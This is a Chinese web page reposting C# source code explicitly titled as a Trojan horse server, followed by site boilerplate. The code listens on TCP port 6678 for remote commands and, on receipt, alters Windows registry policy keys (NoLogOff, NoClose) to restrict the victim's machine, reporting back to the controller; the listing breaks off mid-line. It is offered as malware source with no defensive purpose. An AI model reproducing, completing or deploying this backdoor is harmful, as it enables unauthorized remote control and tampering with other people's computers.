服务器网页源代码被修改6,特洛伊木马服务器源代码(C#)

特洛伊木马服务器源代码(C#)

特洛伊木马服务器源代码(C#)

日期:2013-06-02  浏览次数:20247 次

using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.Windows.Forms; using System.Data; using System.IO; using System.Net; using System.Net.Sockets; using System.Threading; using Microsoft.Win32; namespace server { /** /// Form1 的摘要说明。 /// public class Form1 : System.Windows.Forms.Form { /** /// 必需的设计器变量。 /// private System.ComponentModel.Container components = null; private TcpListener listener; private string mystr="您好!非常抱歉,您的注册表:"; private RegistryKey rrr=Registry.LocalMachine; private RegistryKey key1; public Form1() { // // Windows 窗体设计器支持所必需的 // InitializeComponent(); {int port =6678; listener=new TcpListener(port); listener.Start(); Thread thread=new Thread(new ThreadStart(target)); thread.Start(); } // // TODO: 在 InitializeComponent 调用后添加任何构造函数代码 // } public void target() { Socket socket= listener.AcceptSocket(); while(socket.Connected) { byte[] by=new Byte[6]; int i=socket.Receive(by,by.Length,0); string ss=System.Text.Encoding.ASCII.GetString(by); //OOOOOOOOOOOOOOOOOOOOOOOOOOO以下是修改注册表OOOOOOOOOOOOOOOOOOOOOOOOOOO //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if(ss=="jiance") { string str="hjc"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); } if(ss=="zx1000") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoLogOff",1); key1.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff被修改!请将它置为0!"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoLogOff",1); key2.Close(); mystr=mystr+"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoLogOff被修改!请将它置为0!"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if(ss=="") //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& //**************************************************************************** if(ss=="zx0100") { try { key1=rrr.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true); key1.SetValue("NoClose",1); key1.Close(); mystr=mystr+"LocalMachine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoClose被修改!请将它置为0!"; } catch{} if(key1==null) { try { RegistryKey key2=rrr.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer"); key2.SetValue("NoClose",1); key2.Close(); mystr=mystr+"LocalMachine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值NoClose被修改!请将它置为0!"; }//try catch{} }//if(key1==null){ string str="hkz"; byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray()); socket.Send(bytee,bytee.Length,0); }//if(ss=="zx0100&quo

免责声明: 本文仅代表作者个人观点,与爱易网无关。其原创性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值